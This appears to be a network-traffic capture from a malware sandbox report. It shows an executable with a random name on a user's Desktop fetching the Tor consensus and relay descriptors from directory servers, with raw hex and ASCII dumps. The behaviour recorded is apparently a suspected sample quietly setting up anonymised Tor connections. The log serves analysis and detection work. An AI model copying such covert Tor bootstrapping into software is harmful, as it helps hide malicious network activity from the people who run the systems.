Oct 24, 2022 11:00:10.655061007 CEST	115	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 193.23.244.244 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:10.682410955 CEST	116	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:10 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:00:10.682444096 CEST	117	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:00:10.682457924 CEST	118	IN	Data Raw: 74 6f 72 5f 70 65 72 69 6f 64 5f 73 65 63 73 3d 31 30 38 30 30 20 6f 76 65 72 6c 6f 61 64 5f 6f 6e 69 6f 6e 73 6b 69 6e 5f 6e 74 6f 72 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 Data Ascii: tor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 9 CEgH9nGSPGGldWgpTiNB8ktMi7U85TgcE1fpst2jcUc=shared-rand-current-value 9 dn+4b/OLLk84s5H2hUfLnWF+L04m8/PsRA5+jVuyLx8=dir-so
Oct 24, 2022 11:00:10.682471991 CEST	120	IN	Data Raw: 31 38 33 30 39 44 45 44 34 43 44 36 44 35 37 43 31 38 46 44 42 39 37 45 46 41 39 36 44 33 33 30 35 36 36 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 39 31 33 31 20 39 31 30 31 0a 63 6f 6e 74 61 63 74 20 31 30 32 34 Data Ascii: 18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.24 128.31.0.24 9131 9101contact 1024D/EB5A896A28988BF5 arma mit eduvote-digest 86932C67F285958234AF644859B62C071E5CF59Bdir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.
Oct 24, 2022 11:00:10.682488918 CEST	121	IN	Data Raw: 30 30 3a 31 31 3a 31 31 20 31 33 37 2e 31 38 34 2e 31 33 2e 31 32 30 20 34 34 33 20 30 0a 61 20 5b 32 36 30 34 3a 61 38 38 30 3a 34 3a 31 64 30 3a 3a 32 37 64 3a 66 30 30 30 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 Data Ascii: 00:11:11 137.184.13.120 443 0a [2604:a880:4:1d0::27d:f000]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Ban
Oct 24, 2022 11:00:10.682502031 CEST	122	IN	Data Raw: 2d 36 35 35 33 35 0a 72 20 53 74 61 72 41 70 70 73 4d 6f 62 6c 65 79 20 41 43 67 37 56 57 54 6a 42 79 33 4e 32 72 4d 64 62 76 59 69 33 55 6d 2f 55 6b 38 20 49 2f 6b 44 6c 44 7a 69 63 33 4c 6b 4b 52 61 68 58 54 70 4a 7a 6e 51 77 79 4d 6f 20 32 30 Data Ascii: -65535r StarAppsMobley ACg7VWTjBy3N2rMdbvYi3Um/Uk8 I/kDlDzic3LkKRahXTpJznQwyMo 2022-10-24 05:47:25 195.15.242.99 9001 0a [2001:1600:10:100::201]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowC
Oct 24, 2022 11:00:10.682518005 CEST	124	IN	Data Raw: 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 Data Ascii: l=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=9300p reject 1-65535r namie AFyL+BoOH3CNtCpXPISvAlpAb88 r9QzCKrNF8lYwbnDnIO0cpavY3k 2022-10-24 02:47:30 109.241.109.93 443 0s Fast Runn
Oct 24, 2022 11:00:10.682532072 CEST	125	IN	Data Raw: 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 Data Ascii: t Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=23000p reject 1-65535r Quintex13 AHe8unJE2z5qXtJ0boYX
Oct 24, 2022 11:00:10.682549953 CEST	126	IN	Data Raw: 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 34 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 42 6c 61 63 6b 42 65 6c 75 67 61 20 41 4a 59 74 4c 64 43 35 76 7a 70 71 38 64 58 72 49 42 45 79 4f 49 72 4b 46 43 Data Ascii: Relay=1-4w Bandwidth=14p reject 1-65535r BlackBeluga AJYtLdC5vzpq8dXrIBEyOIrKFCQ Jc3bHf5g0eXR4rkpWM4IWaEcHt0 2022-10-23 21:50:34 5.189.155.39 9001 0s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 Flow
Oct 24, 2022 11:00:10.682570934 CEST	127	IN	Data Raw: 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 34 35 30 30 30 0a 70 20 72 65 6a 65 63 74 20 31 Data Ascii: nk=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=45000p reject 1-65535r roterechtehand ALwRxEi3DILGEA9bE2LflQpgnwo WpwF6wWcjaeO/w2LTH4vIwDpSWs 2022-10-23 20:25:31 213.144.130.195 4569 0s Fast Running V2Dir Validv Tor 0.4.5
Oct 24, 2022 11:00:10.682589054 CEST	129	IN	Data Raw: 32 33 2c 35 32 32 38 2c 35 39 30 30 2c 36 36 36 30 2d 36 36 36 39 2c 36 36 37 39 2c 36 36 39 37 2c 38 30 30 30 2c 38 30 30 38 2c 38 30 37 34 2c 38 30 38 30 2c 38 30 38 32 2c 38 30 38 37 2d 38 30 38 38 2c 38 33 33 32 2d 38 33 33 33 2c 38 34 34 33 Data Ascii: 23,5228,5900,6660-6669,6679,6697,8000,8008,8074,8080,8082,8087-8088,8332-8333,8443,8888,9418,9999-10000,11371,19294,19638,50002,64738r tried ANLOPCFT6gl4byEF8msTjPdZQk8 3grdaAsHQt8ueF90Mu22lricuaw 2022-10-23 20:28:29 107.155.81.178 443 0s Fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49712	171.25.193.9	443	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:14.494873047 CEST	2580	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 171.25.193.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49715	185.216.179.206	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:17.137487888 CEST	2585	OUT	GET /tor/server/fp/9265c51d2769e253c47ba554675270a0fe7b2771 HTTP/1.0 Host: 185.216.179.206 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:17.559863091 CEST	2587	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:17 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:00:17 GMT Data Raw: 72 6f 75 74 65 72 20 62 61 75 72 75 69 6e 65 20 31 38 35 2e 31 32 35 2e 31 36 38 2e 34 32 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4c 64 41 66 7a 6c 6a 75 6a 57 2b 50 38 42 6a 6a 76 35 6d 45 46 45 65 32 55 73 73 55 77 66 50 6f 67 6e 35 37 59 52 6b 6c 53 76 4f 6f 4e 69 41 51 41 67 42 41 44 50 2f 54 52 6f 0a 4a 30 31 4d 66 78 70 57 50 41 46 6e 32 39 47 54 72 42 78 56 66 63 4c 6a 78 64 78 45 4e 49 62 36 35 63 53 41 6d 79 4e 4c 67 57 71 4f 65 75 6b 6c 46 34 71 37 4d 73 35 58 56 2b 6b 48 69 59 4c 79 0a 33 38 64 6f 37 6d 50 7a 6b 6d 32 6e 33 53 55 37 44 52 4e 79 2f 30 6c 54 39 48 4c 59 35 55 56 56 43 34 58 62 45 6c 4e 30 67 44 68 55 31 31 6d 53 59 2f 73 7a 58 59 58 42 51 77 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 7a 2f 30 30 61 43 64 4e 54 48 38 61 56 6a 77 42 5a 39 76 52 6b 36 77 63 56 58 33 43 34 38 58 63 52 44 53 47 2b 75 58 45 67 4a 73 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 33 3a 39 34 65 30 3a 66 66 66 66 3a 31 38 35 3a 31 32 35 3a 31 36 38 3a 30 3a 34 32 5d 3a 38 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 32 3a 33 32 3a 31 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 39 32 36 35 20 43 35 31 44 20 32 37 36 39 20 45 32 35 33 20 43 34 37 42 20 41 35 35 34 20 36 37 35 32 20 37 30 41 30 20 46 45 37 42 20 32 37 37 31 0a 75 70 74 69 6d 65 20 31 39 34 34 38 34 0a 62 61 6e 64 77 69 64 74 68 20 36 35 35 33 36 30 30 30 20 37 32 30 38 39 36 30 30 20 33 34 32 35 35 38 37 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 43 43 44 30 36 32 46 37 35 42 41 46 44 39 44 46 33 44 34 34 37 31 30 33 36 45 39 43 42 45 39 45 31 33 37 36 43 45 36 44 20 6c 74 46 43 6a 35 47 4a 62 30 36 47 44 59 31 44 30 72 78 46 4a 52 71 77 51 44 4d 2b 52 6a 57 76 56 37 2b 2b 51 67 72 31 2b 30 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 77 74 50 70 6d 48 78 79 79 38 6c 2b 33 61 6f 35 45 56 4d 4c 4f 33 73 4d 4a 4b 79 33 52 63 30 61 50 7a 35 4d 5a 38 65 76 61 77 5a 72 4b 72 78 42 30 6b 6b 52 59 34 0a 48 74 39 6b 74 59 36 50 76 52 6c 67 4b 36 79 48 46 6c 54 75 65 4c 72 76 36 34 72 53 43 57 51 69 4e 78 54 2b 66 66 6c 4b 30 41 6f 51 73 4b 4c 53 2f 42 50 66 4b 69 52 6d 42 78 4a 4e 50 4f 56 74 0a 70 53 77 65 67 59 4a 49 33 4f 4c 6a 52 6e 74 34 78 4a 38 79 75 74 6a 30 56 62 77 38 35 63 61 43 63 36 6e 57 39 59 34 44 33 7a 72 55 2b 4e 41 35 46 35 65 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 Data Ascii: router bauruine 185.125.168.42 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxLdAfzljujW+P8Bjjv5mEFEe2UssUwfPogn57YRklSvOoNiAQAgBADP/TRoJ01MfxpWPAFn29GTrBxVfcLjxdxENIb65cSAmyNLgWqOeuklF4q7Ms5XV+kHiYLy38do7mPzkm2n3SU7DRNy/0lT9HLY5UVVC4XbElN0gDhU11mSY/szXYXBQwk=-----END ED25519 CERT-----master-key-ed25519 z/00aCdNTH8aVjwBZ9vRk6wcVX3C48XcRDSG+uXEgJsor-address [2a03:94e0:ffff:185:125:168:0:42]:8443platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 22:32:15fingerprint 9265 C51D 2769 E253 C47B A554 6752 70A0 FE7B 2771uptime 194484bandwidth 65536000 72089600 34255872extra-info-digest CCD062F75BAFD9DF3D4471036E9CBE9E1376CE6D ltFCj5GJb06GDY1D0rxFJRqwQDM+RjWvV7++Qgr1+08onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKwtPpmHxyy8l+3ao5EVMLO3sMJKy3Rc0aPz5MZ8evawZrKrxB0kkRY4Ht9ktY6PvRlgK6yHFlTueLrv64rSCWQiNxT+fflK0AoQsKLS/BPfKiRmBxJNPOVtpSwegYJI3OLjRnt4xJ8yutj0Vbw85caCc6nW9Y4D3zrU+NA5F5enAgMBAAE=-----END RSA PUBLIC KEY-----signing-key
Oct 24, 2022 11:00:17.559919119 CEST	2587	IN	Data Raw: 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 74 54 38 72 42 79 79 44 33 4d 36 71 68 68 67 52 6f 6b 53 68 78 6f 57 6b 64 58 57 37 66 78 34 68 50 2b 79 58 32 31 52 54 Data Ascii: -----BEGIN RSA PUBLIC KEY-----MIGJAoGBALtT8rByyD3M6qhhgRokShxoWkdXW7fx4hP+yX21RTNBe1Wz/r4+Rq9PAP25n78tOhZfTZfJ0wCiGnmIJrj8FMvKGzT4mhTiOKwXkM3yQ/si3z7Zi/h5j1QpeoGaCfvJOoE9VoROnFSUZStznqvg9udeQV36or73DyN0fsUJO23jAgMBAAE=-----END RSA PUBLIC
Oct 24, 2022 11:00:17.559947014 CEST	2589	IN	Data Raw: 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 30 34 35 42 42 43 41 39 36 30 32 41 32 32 43 31 31 32 39 38 34 46 32 35 30 30 33 43 44 34 38 39 37 43 46 46 42 39 45 35 20 24 30 42 30 36 44 44 36 41 36 35 43 34 38 45 41 37 39 46 43 34 33 30 33 Data Ascii: ERT-----family $045BBCA9602A22C112984F25003CD4897CFFB9E5 $0B06DD6A65C48EA79FC43031CBD93650B08A0661 $0F6CBFB9E5CDFC5A6D427320E90B1DF91095DD67 $1D24292113610F0096FCC554664EC33BE27A4F54 $1D7EBE2ADBEF0353AA77C579CD013B5CF82E740D $1F953ACBFB9F44CE
Oct 24, 2022 11:00:17.559977055 CEST	2590	IN	Data Raw: 42 30 41 46 30 44 32 46 34 35 33 34 45 42 44 35 41 44 39 44 34 35 38 45 31 39 36 36 43 41 38 20 24 38 39 32 31 42 30 33 41 34 32 45 45 37 38 43 39 44 43 43 44 33 30 37 34 41 36 30 39 42 44 39 31 43 43 39 32 33 45 44 45 20 24 38 39 39 44 31 44 31 Data Ascii: B0AF0D2F4534EBD5AD9D458E1966CA8 $8921B03A42EE78C9DCCD3074A609BD91CC923EDE $899D1D12BBF6ED445048CB302C0F14B6D15ADCA2 $8B8E30B0A49EBEEF963D2A5AAC28F3BD3068ADEC $8D89ECA4C93928711A0BD6DB80F547A09AEF2D67 $8E6E7CDACE2418254A853D6951EC97841E5B07F7 $
Oct 24, 2022 11:00:17.560033083 CEST	2591	IN	Data Raw: 41 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 75 6e 6e 65 6c 6c 65 64 2d 64 69 72 2d 73 65 72 76 65 72 0a 6f 76 65 72 6c 6f 61 64 2d 67 65 6e 65 72 61 6c 20 31 20 32 30 32 32 2d 31 30 2d 32 33 20 32 32 3a 30 30 3a 30 30 0a 72 6f 75 74 65 72 2d 73 69 Data Ascii: Areject :tunnelled-dir-serveroverload-general 1 2022-10-23 22:00:00router-sig-ed25519 KDgxpEJlyY5/jONpw9Z5pZgkvE2UqhGhl9vpyOjC9I4oZr+R7qONcfULDXJbMpTa5p6gIeYezKJuuKRcCnAKCQrouter-signature-----BEGIN SIGNATURE-----W4+tuQ+25LJeSSDVwECve

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49716	199.249.230.182	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:17.816386938 CEST	2592	OUT	GET /tor/server/fp/fce0c05f7e2d0b825fa0fd2a37ba5bae3c3d6e13 HTTP/1.0 Host: 199.249.230.182 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:18.394649982 CEST	2594	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:18 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:00:18 GMT Data Raw: 72 6f 75 74 65 72 20 66 6c 75 70 70 66 6c 75 70 70 34 32 20 31 34 38 2e 32 35 31 2e 36 38 2e 31 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 58 41 66 49 61 43 51 4a 56 71 63 6e 4e 2b 65 52 51 74 7a 73 32 46 47 62 56 2b 5a 50 30 57 6f 79 78 69 42 70 55 6a 33 77 4b 51 39 34 6d 41 51 41 67 42 41 42 2b 4f 33 31 7a 0a 4a 65 7a 45 30 35 43 78 58 59 78 63 70 57 62 64 33 5a 75 36 6e 6e 63 51 63 33 46 35 69 76 44 37 36 58 50 31 67 32 48 71 43 36 30 50 77 44 38 42 66 4e 65 68 44 34 72 6c 75 54 52 51 57 36 52 51 0a 6f 45 5a 39 58 63 31 71 35 39 76 75 2b 6d 67 30 69 31 52 39 51 65 48 51 47 70 48 6a 51 43 73 54 79 67 2f 59 47 49 54 65 79 62 66 32 4b 37 56 34 58 51 42 34 34 5a 53 71 51 77 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 66 6a 74 39 63 79 58 73 78 4e 4f 51 73 56 32 4d 58 4b 56 6d 33 64 32 62 75 70 35 33 45 48 4e 78 65 59 72 77 2b 2b 6c 7a 39 59 4d 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 38 3a 32 30 32 3a 33 31 64 36 3a 3a 31 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 37 3a 34 34 3a 34 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 46 43 45 30 20 43 30 35 46 20 37 45 32 44 20 30 42 38 32 20 35 46 41 30 20 46 44 32 41 20 33 37 42 41 20 35 42 41 45 20 33 43 33 44 20 36 45 31 33 0a 75 70 74 69 6d 65 20 39 30 36 38 30 38 0a 62 61 6e 64 77 